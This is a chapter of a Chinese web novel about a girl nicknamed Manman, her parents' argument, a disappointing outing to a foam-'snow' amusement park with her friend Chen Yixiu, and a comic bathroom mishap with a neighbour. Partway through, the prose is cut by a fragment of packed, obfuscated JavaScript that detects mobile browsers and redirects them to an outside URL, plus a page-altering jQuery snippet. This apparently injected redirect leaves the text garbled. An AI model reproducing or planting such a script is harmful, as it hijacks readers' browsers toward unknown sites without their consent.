松松散散的,干干燥燥的,像纸片,像飞絮,像鹅毛,像盐,是飘下来的,不是砸下来的。 赵迟来听着听着慢慢有了笑意,似乎穿越漫长的铁路线,看见眼前飘着漫天大雪。 一墙之隔的房门口。 赵庆国收回视线对身后的梁惠比了个噤声,示意她回去。 房门关闭,夫妻俩良久没有说话。 “你今天那些话太伤慢慢的心了。”还是赵庆国打破沉默。 “我说什么了?还不和以前一样,只是替她着急又不是真想教训她点什么。”梁惠不承认。 “正因为回回都是这几句话,所以她更难过。”赵庆国措辞片刻,“慢慢是个心思细腻的孩子,你比谁都知道。” “我当然知道……” “我们说的每一句话她都会认真听,好话也听坏话也听,从小就这样。” “你这是什么意思?怪我对她太严格了?她这是什么时候你知不知道?现在舒心了以后就毁了!你也不想她一辈子和你一样……” 话赶话忽然收不住。 眼见赵庆国听着眼神变了,梁惠反应过来。 她沉默片刻,掀开被子躺进去,也没有过多解释:“不早了,睡吧。” 赵庆国没动。 依旧在床边坐着,有点发呆。 良久。 “明天给慢慢放一天假,这总行了吧。”这算是退了一步。 “嗯。”赵庆国点点头,这才躺下。 梁惠第一时间靠过来拧他。 “你们父女两个啊!就知道一个鼻孔拿我出气。” “好了睡吧。” 赵庆国拍了拍她的肩膀,已是困极。 梁惠愕然,又拧了他一把。 第二天赵迟来又好了! 闹钟响起的第一秒就噌然起床。 她伸了个懒腰,拿起床头的跳绳出去醒神,发现赵国庆已经在院子里了。 “爸早啊。”她自觉去另一边。 “你妈说今天放你一天假,继续睡吧。”他缓缓推剑。 “啊?”她苦脸,“你们怎么不早说啊!早说我就不起来了!” “桌子上有零花钱,你看看要不要和小伙伴们出去逛吃逛吃。” “要!当然要!” 这还有拒绝的道理? 她拿了钱打算出门,临走问他:“要不要给你们带早点回来?” 赵庆国挽了个剑花,手上稳得很:“不用。” “哦。” 她出门,没多久面带疑惑回头。 怪怪的。 以前这种福利他都会很高兴很兴奋的告诉她,也不知道是不是忙着锻炼,今天居然一点笑脸也没有。 她继续走,没两步又停下。 为该去找谁而头痛。 思泉不在找不了,张鑫没空找不了,上次和黎明律不欢而散还没和好呢,不想去找。 那剩下……只能去找一休哥了! 蛮久没见,去找他也好。 赵迟来也没有空手去。 她先去了趟三岔口美食街,美美饱餐一顿再打包一份葱油拌面给陈抑休送过去。 依旧是先在门口等。 等的太久有点无聊,她就和地上的榕树叶说话。 “哎一休哥,你肚子饿不饿?”她先用自己的声音问一句。 “饿。”然后又压低声音自问自答。 “那你想吃什么?”自己的。 “我什么都吃。”粗粗的。 “不对不对,你得猜一下,猜对了才给你。”自己的。 “那就……炒粿吧。”粗粗的。 “嘻嘻不对,再猜。” “煎饼。” “不对!今天是葱油拌面没想到吧……” “慢慢。” 身后有人叫她。 是陈抑休,他仪容整洁,看起来并不是很忙的样子。 “一休哥!你走路怎么没声啊?”她立刻丢开叶子起身。 “你太认真了,给我带了什么?”他指指她的手。 “哦这个啊,老规矩猜对了给你。”她背手藏起来。 “嗯……” 陈抑休沉思片刻,“葱油拌面?” “喔唷,今天倒是一次对,算你厉害。”她爽快递过去。 陈抑休当场打开吃起来,边吃边走:“跟我来吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484328|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “去哪里?” “去我宿舍啊,你不是找我写作业吗?” “哦,今天不写,我今天休息!”她不无暗示。 “但我不休息啊。”他下意识回了一句,把天直接聊死了。 “……” “噢噢,这样啊……那没关系我一个人……” “不是,”他咽了下去,马上出尔反尔,“我是说,我也早放假了,随时都可以休息。” “你确定?” “确定,以及肯定。” 赵迟来哈哈一笑:“那行,那咱们走吧,先说好不是我逼你哦?” 陈抑休抬脚就来:“当然不是,我自愿休息的。”走了没两步,忽然想起什么又往回走,“等会儿,我有东西没带你稍等一下。” 话没说完人已经跑远了。 好在很快回来。 但衣服鞋子什么的一点也没换,还是同一套。 “你去拿什么了?” “没什么,你想去哪儿玩?” “不知道,随便走走吧。” “我知道,我听说江东开了个新乐园,叫飘雪乐园,要不咱们去那儿!” “飘雪乐园?” 赵迟来一听就来了兴趣,“会有雪下吗?” “咱们去看看就知道了。” “那可以!” 两人并肩往前,不紧不慢,一路说着闲话,遇上小吃摊也会买点边走边吃。 她把昨天文思泉说的下雪事也和他讲了一遍,让他等会儿看看乐园里到底是南方的雪还是北方的雪。 “啊?你说多少?” “门票一张三十块,两张六十。” “那不看了,咱们回去吧。” 到了乐园门口,一问门票居然要三十,她当场就打起了退堂鼓:“都能抵得上一张电影票了,可是你看这个园区,巴掌大点地方也不像有雪的样子,这不是抢钱吗?” 陈抑休拉住她:“来都来了,咱走这么远总不能白走?要不去看看吧。” 她坚决摇头:“不行不行,太贵了!有这钱还不如去吃肯德基呢。” 陈抑休带着她往回走:“那个下次再吃,这次咱们先看雪。”他说着已经回到刚才的售票窗口,递给售票员六十块钱,“你好,我要两张。” “陈抑休!” 赵迟来晚了一步,大叹一口气。 “买都买了。”他晃了晃手里的票,有点心虚。 “好吧,我身上没有这么多了,回去再还给你。” “不用,我请你的。”他笑笑。 “啊?这么大方?” “因为你对我也很大方啊,我都吃你好多东西了,还有那些作业费。” 赵迟来长哦一声:“原来只是投桃报李啊,我还以为你转性了呢。”她一把接过,坦坦荡荡大步向前,“那我就不客气了!说到底都是我的钱!” 她本是玩笑,没想到他居然认真点了点头:“嗯,都是你的。” 这是那一整天赵迟来最开心的时刻。 因为进去以后,发现所谓的“花城下雪了”不过是满地的泡沫后,她的嘴角就没有松开过。 两人顶着满头狼狈出来的时候,已经将近落日。 赵迟来死死捏着票根一言不发往前走。 陈抑休亦步亦趋,欲言又止,止言又欲:“慢慢对不起,我也不知道……” “你闭嘴不准说,现在开始谁先开口谁是小狗!” “……好的。” 两人当真一路沉默着走回牌坊街。 路上遇见同时回来的黎明律,他打了声招呼,得到一片沉默。 见赵迟来没回头,陈抑休悄悄做了个拉链关闭的手势,赶紧跟上去。 “好了,禁言解除,我没事了!”到院门口的时候,赵迟来叉腰松了口气,脸上也恢复笑容。 “是吗?我不信。”陈抑休试探。 “不信拉倒!”她抱头转身止不住哀嚎,“哎呀真是!脏死了我的天……” 回到房间。 赵迟来翻出一套换洗的衣服,顺手掏了掏口袋,掏出几张零钱和那张票根。 她抬手就想把票根丢了,但回头一想那可是三十块又咬牙收回来。想了想,取下一个杂物盒丢了进去。 一起躺在里面的,还有半盒子漂亮弹珠和另一张写着“三十块”的票根。 盒子盖上,赵迟来直奔浴室。 不知道是不是天气又凉了的缘故,总感觉今天比昨天冷了不少。 刚刚脱掉衣服赵迟来就打了个寒噤,她忍不住把开关往温度更高的方向扭了一些。 不对,还是感觉很冷。 就好像……好像背后有洞正朝她吹冷风似的。 她狐疑转身,居然真发现一个洞! 准确说那个洞早就在了,只是之前一直用报纸包着加上天气也热所以没什么感觉。 如今那个报纸上也破了个大洞,几乎以一种四分五裂的姿势大大咧咧敞开着,没有风才怪了。 衣服也脱了头发也打湿了,不好再出去,她想着用脏衣服先堵一堵。 带着胶布的报纸从镜面艰难剥离,发出一阵难听的撕扯声。 这声音甚至传到矮墙对面阳台,引起浇花人影的注意。 他抬眸,眼神准确而有力地穿过破洞,落在里面正要堵洞的赵迟来身上。 手里的喷壶“啪嗒”一声掉下来! 赵迟来闻声吓了一跳,立刻看向对面,却只看到一个慌乱进屋的残影。 似乎是黎明律。 正想吐槽一句慌慌张张不知道在干什么,忽然意识到自己在干什么。她低头,空气有短暂的凝滞。 直到被一声惊恐万分的尖叫划破。 “啊——” “黎明律我要杀了你!”